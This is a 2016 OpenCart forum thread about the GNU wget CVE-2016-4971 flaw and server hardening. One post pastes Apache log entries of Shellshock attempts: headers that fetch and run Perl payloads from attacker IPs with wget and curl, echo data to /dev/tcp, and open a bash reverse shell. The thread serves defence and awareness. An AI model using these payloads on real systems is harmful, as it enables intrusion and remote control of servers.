Post by BusinessConsult » Fri Jul 08, 2016 1:20 pm

Hi :)

A few days ago a wget vulnerability was out and all admins should update it :)

"GNU wget flaw leads to RCE"

Golunski explains in an advisory that a malicious actor could trick a wget file download process into executing code on someone's Linux machine.

"The vulnerability could potentially [be] abused by attackers to upload arbitrary files and achieve code execution," Dawid Golunski told Softpedia in an email.

GNU wget, which is a Linux command-line utility for silently downloading content, has support for URL redirections, in case a link has changed across time.
"GNU wget doesn't rename files when redirected to FTP links"

Golunski discovered that wget doesn't properly handle file names when redirected from an initial HTTP URL to an FTP link.

For example, an attacker in control of a server from where files are regularly downloaded via wget can use 302 redirects on their files. A user running the "wget http://attackers-server/safe_file.txt" command would be redirected to download "ftp://attackers-server/.bash_profile" instead.

In normal HTTP to HTTP redirects, GNU wget will rename the second file with the name of the original file (.bash_profile to safe_file.txt) in order to prevent RCE (Remote Code Execution). For HTTP to FTP links, wget doesn't include this safety mechanism. This issue affects all GNU wget versions prior to the patched 1.18 version.

Since wget commands are used regularly in scripts that most of the time execute the downloaded file automatically, this opens the door for a new wave of possible attacks. Cronjobs where wget is the preferred method of downloading content should be reviewed by all sysadmins.

CVE Info: https://cve.mitre.org/cgi-bin/cvename.c ... -2016-4971

ImageServer performance optimizations ImageServer security optimizations ImageDatabase performance optimizations ImageHigh Availability Proxy ImageMariaDB
ImagePhp-Fpm multiple pools


User avatar

Posts

Joined
Fri Jul 08, 2016 12:38 pm

Post by paulfeakins » Fri Jul 08, 2016 5:27 pm

Interesting!

UK OpenCart Hosting | OpenCart Audits | OpenCart Support - please email info@antropy.co.uk


User avatar
Guru Member
Online

Posts

Joined
Mon Aug 22, 2011 11:01 pm
Location - London Gatwick, United Kingdom

Post by straightlight » Sat Jul 09, 2016 7:12 am

I did some research on these prevention attacks and I found a good topic here: http://stackoverflow.com/questions/3161 ... e-scraping which includes the fact that cURL are being used as a very simplistic scraper which is what Opencart uses via API.
"wget", "curl", "libcurl",.. (Wget and cURL are sometimes used for basic scraping)
Perhaps something to consider for future releases of OC ...

Also - an attack vector prevention solution has been provided here as a structured example: http://security.stackexchange.com/quest ... /7095#7095

Dedication and passion goes to those who are able to push and merge a project.

Regards,
Straightlight
Programmer / Opencart Tester


Legendary Member

Posts

Joined
Mon Nov 14, 2011 11:38 pm
Location - Canada, ON

Post by Dhaupin » Tue Jul 12, 2016 11:46 pm

Here is a log example of what they are trying to do, i think this is similar, or the same, i dunno. They are malformed requests and its been going on for awhile across millions of servers. I figured this was already a CVE. Most of the time they are trying to pipe data then rm their tracks, or they are trying to proxy through then pipe into dev/null. In this case its the remote pull of this txt which will allow remote use of the machine:

Code: Select all

http://31.220.3.180/mox

This is what it looks like in general error log (/var/log/error_log)

Code: Select all

/usr/local/apache/logs/error_log:[Wed Mar 16 10:57:34 2016] [error] [client 31.220.3.180] File does not exist: /usr/local/apache/htdocs/hello
/usr/local/apache/logs/error_log:[Fri May 27 08:09:12 2016] [error] [client 31.220.3.180] File does not exist: /usr/local/apache/htdocs/bashh

But if you look at domlogs, you see what is actually going on (/usr/local/apache/domlogs/*)

Code: Select all

/usr/local/apache/domlogs/123.123.123.123:31.220.3.180 - - [16/Mar/2016:10:57:33 -0400] "GET /hello HTTP/1.0" 404 1987 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://31.220.3.180/g.pl;curl -O http://31.220.3.180/g.pl;wget http://31.220.3.180/g.pl;perl /tmp/g.pl*;perl g.pl;rm -rf /tmp/g.pl*\""
/usr/local/apache/domlogs/123.123.123.123:31.220.3.180 - - [27/May/2016:08:09:12 -0400] "GET /bashh HTTP/1.0" 404 1984 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://31.220.3.180/mox;curl -O http://31.220.3.180/mox;wget http://31.220.3.180/mox;perl /tmp/mox*;perl mox;rm -rf /tmp/mox*\""

Watch out for these too, trying to dirtbag up dev/tcp via referrer inject, prob so they can pull stuff similar to mentioned above:

Code: Select all

[client 192.228.107.101] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo EXAMPLE.COM/cgi-bin/test-cgi  > /dev/tcp/192.228.107.101/23; /bin/uname -a > /dev/tcp/192.228.107.101/23"
 
[client 74.208.111.148] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo EXAMPLE.COM/cgi-bin/test-cgi > /dev/tcp/213.233.161.42/23; echo EXAMPLE.COM/cgi-bin/test-cgi > /dev/udp/213.233.161.42/80"
 
[client 91.109.2.132] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo 123.123.123.123/cgi-bin/test-cgi > /dev/tcp/213.233.161.42/23; echo 123.123.123.123/cgi-bin/test-cgi > /dev/udp/213.233.161.42/80"
 
[client 91.109.2.132] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo example.com/cgi-bin/test-cgi > /dev/tcp/213.233.161.42/23; echo example.com/cgi-bin/test-cgi > /dev/udp/213.233.161.42/80"
 
[client 91.109.2.132] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo www.example.com/cgi-bin/test-cgi > /dev/tcp/213.233.161.42/23; echo www.example.com/cgi-bin/test-cgi > /dev/udp/213.233.161.42/80"
 
[client 91.109.2.132] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo www.media.example.com/cgi-bin/test-cgi > /dev/tcp/213.233.161.42/23; echo www.media.example.com/cgi-bin/test-cgi > /dev/udp/213.233.161.42/80"
 
[client 5.255.82.41] suexec policy violation: see suexec log for more details, referer: () { :;}; /bin/bash -c "echo example.com/cgi-bin/test-cgi > /dev/tcp/213.233.161.42/23; echo example.com/cgi-bin/test-cgi > /dev/udp/213.233.161.42/80

---- RAW ----

98.126.212.154 - - [25/Apr/2016:18:38:02 -0600] "GET /cgi-bin/test-cgi HTTP/1.0" 404 1806 "-" "() { :; }; /bin/bash -i >& /dev/tcp/98.126.212.154/16161 0<&1 2>&1 &"

Suexe blocked it, but you also need some kind of user account jail/cage so that they cant file/perm traverse. CageFS works pretty good IMO

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA

Post by straightlight » Tue Jul 12, 2016 11:50 pm

As these activities been reported to your host? Looks like an activity going on from cURL trying to download a schema from cgi-bin. Are you also using any 3rd party API scripts on your store?

More information on the subject can be found on this page: https://security-tracker.debian.org/tra ... -2016-4971
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.

Dedication and passion goes to those who are able to push and merge a project.

Regards,
Straightlight
Programmer / Opencart Tester


Legendary Member

Posts

Joined
Mon Nov 14, 2011 11:38 pm
Location - Canada, ON

Post by Dhaupin » Wed Jul 13, 2016 3:16 am

No there is nothing really that uses server side API besides payment methods, no cgi anywhere, and there arent crons, syncs, etc for root besides cpanel stuff. So far it looks like all the logs show them testing for functioning results but not really trying to pull through (like by running hello or bashh).

This is a VPS, prob should report it to the host indeed :) I dont understand why Redhat is in "will not fix" and "deferred" state. Its already backported in mint 18 (Ubuntu 16.04) at wget 1.17.1

Here is the 1.18 if anyone needs it http://ftp.gnu.org/gnu/wget/wget-1.18.tar.gz

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA

Post by straightlight » Wed Jul 13, 2016 3:19 am

This is not an issue with Opencart, indeed. I would suggest to contact your host for more information on this.

Dedication and passion goes to those who are able to push and merge a project.

Regards,
Straightlight
Programmer / Opencart Tester


Legendary Member

Posts

Joined
Mon Nov 14, 2011 11:38 pm
Location - Canada, ON

Post by Dhaupin » Wed Jul 13, 2016 3:49 am

Oh yeah, those were IP access/error logs, so they are more or less hitting every IP on the net that appears as a potential vector. I havent seen many come via a domain or querystring [yet]. Seems as if they are injecting via client headers such as referrer and user agent for the most part, testing for bash noshell (or lack of) then trying to run escalated php/cgi/perl after nulling out () { :;};

Pounding on the IP itself kinda makes sense since in multi-tenant servers with cPanel, the default webpage lives in /usr/local/cpanel/cgi-sys which is out of OP scope, recursive owned by root:wheel. If they can get it to exec, it may act similar to how they are injecting on root [or user shelled] wget crons and stuff.

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA
Who is online

Users browsing this forum: No registered users and 48 guests